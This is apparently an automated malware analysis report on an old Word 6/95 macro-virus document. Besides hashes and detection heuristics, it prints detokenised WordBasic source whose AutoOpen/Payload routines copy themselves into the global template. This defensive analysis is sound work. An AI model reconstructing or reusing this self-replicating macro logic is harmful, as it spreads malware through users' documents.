Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ce0432e18b9d42c…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: fc3a089011cd012ef73619cbae8849cd SHA-1: 3592039c07ae311299d34b87a536b182320e1b32 SHA-256: 7ce0432e18b9d42c7b2dcff46f6ab7e19c64f33cf63ee50c3d431e2bde39c631
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, indicating a malicious intent to execute code. The document body contains obfuscated strings and references to 'Payload' and 'AutoOpen', suggesting the macro attempts to perform malicious actions when the document is opened. The presence of 'RSN MACRO VIRUS' and 'Goat file' further supports its classification as a macro-based threat.

Heuristics 3

  • ClamAV: Win.Trojan.Imposter-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Imposter-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 489 bytes
SHA-256: 2af3f6df0ee6fa38e6bf425c7e6b71b016048149e5c656bc89d07f4ac8c7d5bb
Preview script
First 1,000 lines of the extracted script
= 24943
        357 =
MAIN
, - * Abort
dlg @cmd0054
dlg
dlg
dlg = 0 dlg = 1
Me$ = @cmd8025
Macro$ = Me$ = ":Payload"
@cmd80c2 "Global:FileSaveAs" , Macro$
Macro$ = Me$ = ":AutoOpen"
@cmd80c2 "Global:Payload" , Macro$
Err 102 @cmd0054 dlg
MAIN
, - * Abort
Installed = 0
I = 1 @cmd80b7 0 , 0
@cmd80b8 I , 0 , 0 = "PayLoad" Installed = 1
Installed = 0
Me$ = @cmd8025
Macro$ = Me$ = ":Payload"
@cmd80c2 Macro$ , "Global:FileSaveAs"
Macro$ = Me$ = ":AutoOpen"
@cmd80c2 Macro$ , "Global:Payload"

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